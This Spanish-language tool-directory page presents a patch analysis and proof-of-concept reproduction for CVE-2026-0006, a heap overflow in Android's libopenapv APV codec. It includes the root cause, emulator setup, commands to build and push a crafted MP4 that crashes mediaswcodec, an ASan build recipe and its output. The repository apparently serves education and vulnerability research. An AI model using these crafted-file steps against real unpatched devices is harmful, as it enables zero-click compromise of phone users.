Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006: PoC de desbordamiento de búfer en el montón para libopenapv (códec APV de Android) - CVSS 9.8 | Kitploit
Herramientas/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Seguridad AndroidAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónFuzzingSeguridad MóvilAprendizaje y EducaciónExplotación de BinariosLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006: PoC de desbordamiento de búfer en el montón para libopenapv (códec APV de Android) - CVSS 9.8

Ver Repositorio
126hace 4 mesesAún no revisado

CVE-2026-0006: Desbordamiento de búfer en el montón en libopenapv (códec APV de Android)

Análisis del parche y reproducción por Mobile Hacking Lab

CVSS 9.8 Crítico | Explotado activamente en la naturaleza | Parcheado en marzo de 2026

Nota: No descubrimos esta vulnerabilidad. Todo el crédito por encontrar y reportar de forma responsable CVE-2026-0006 pertenece a los investigadores originales. Este repositorio contiene nuestro análisis independiente del parche, la reproducción y el informe educativo para ayudar a la comunidad de seguridad a comprender la clase de error y las técnicas de explotación involucradas.

Demo: deploy_exploit_mp4.sh provocando SIGSEGV en mediaswcodec

Resumen

CVE-2026-0006 es un desbordamiento de búfer en el montón en libopenapv, el códec APV (Advanced Professional Video) de código abierto de Samsung, integrado en Android 16 como módulo Mainline.

La vulnerabilidad permite la ejecución remota de código sin interacción del usuario mediante un archivo MP4 manipulado. El framework multimedia de Android procesa automáticamente los archivos de vídeo para generar miniaturas y vistas previas, sin necesidad de interacción del usuario.

Causa raíz

oapvd_info() y oapvd_decode() leen las dimensiones del fotograma de PBUs diferentes (Payload Byte Units). Un atacante inyecta un PBU AU_INFO (tipo 65) que declara dimensiones pequeñas (16x16), mientras que el PBU FRAME real codifica dimensiones grandes (64x64). El framework asigna búferes basándose en la salida de oapvd_info(), y luego oapvd_decode() escribe los píxeles decodificados con las dimensiones del PBU FRAME, desbordando el búfer en 14.848 bytes.

Versiones afectadas

  • libopenapv v0.1.11.1 hasta v0.1.13.0
  • Dispositivos Android 16 con nivel de parche de seguridad anterior a marzo de 2026
  • Samsung Galaxy S26 Ultra y otros dispositivos con soporte para el códec APV

Contenido del repositorio

Configuración del entorno de pruebas

Necesitas un emulador de Android 16 con un nivel de parche de seguridad anterior a marzo de 2026 (el decodificador APV no está presente en versiones antiguas de Android).

Crear el AVD

root@kitploit:~
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

Verificar que el decodificador APV está presente

root@kitploit:~
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

Si el parche de seguridad es 2026-03-01 o posterior, la vulnerabilidad ya está corregida y la explotación no funcionará. Usa una imagen de sistema o una instantánea anterior.

Inicio rápido

Opción 1: Desplegar el MP4 de explotación precompilado en un dispositivo Android

root@kitploit:~
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

Esto genera el MP4 de explotación, lo envía al dispositivo, lo abre y captura la salida del fallo. El fallo puede no activarse al primer intento; el script reintenta automáticamente hasta 3 veces.

Opción 2: Generar solo el MP4 de explotación

root@kitploit:~
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

Opción 3: Compilar de forma cruzada el PoC ASan para ARM64

root@kitploit:~
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

Salida esperada de ASan

root@kitploit:~
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

Cómo se corrigió

  1. Comprobaciones de límites inmediatas (commit fb6a5eab): validación de ssize > 4 y comprobación de la firma 'aPv1'
  2. Validación de parámetros (v0.1.13.1): módulo oapv_param.c para la validación de dimensiones y tamaño de tile
  3. Acceso seguro al flujo de bits (v0.2.0.0): lecturas con comprobación de límites a nivel del lector del flujo de bits

Referencias

  • Boletín de seguridad de Android - marzo de 2026
  • libopenapv en GitHub
  • RFC 9924 - Códec APV
  • Mobile Hacking Lab - Informe completo

Créditos

Esta vulnerabilidad fue descubierta y reportada de forma responsable por los investigadores de seguridad originales. No encontramos este CVE. Todo el crédito por el descubrimiento pertenece a ellos.

Este repositorio representa el análisis del parche y la reproducción independientes de Mobile Hacking Lab, creado con fines educativos para ayudar a la comunidad de seguridad a aprender de vulnerabilidades del mundo real.

Aviso legal

Esta investigación se realizó con fines educativos en compilaciones de prueba aisladas de la biblioteca vulnerable. Todas las pruebas se llevaron a cabo contra binarios compilados localmente del proyecto de código abierto libopenapv. No se atacó ningún dispositivo ni sistema de producción.

Descargar herramienta
ArchivoDescripción
generate_overflow_mp4.pyGenera el MP4 de explotación con la discrepancia de dimensiones AU_INFO
deploy_exploit_mp4.shTodo en uno: genera, envía al dispositivo Android, abre y captura el fallo
poc_mp4_asan.cPoC ASan que imita la ruta de decodificación de C2SoftApvDec
poc_android_oob_write.cPoC ARM64 independiente con detección de desbordamiento en región protegida
valid.apvFlujo de bits APV válido de 337 bytes (64x64, YUV422, 10 bits)
apv-mp4/valid_ffmpeg.mp4Contenedor MP4 de referencia (generado con ffmpeg)
apv-mp4/overflow_auinfo.mp4MP4 de explotación precompilado (1.178 bytes)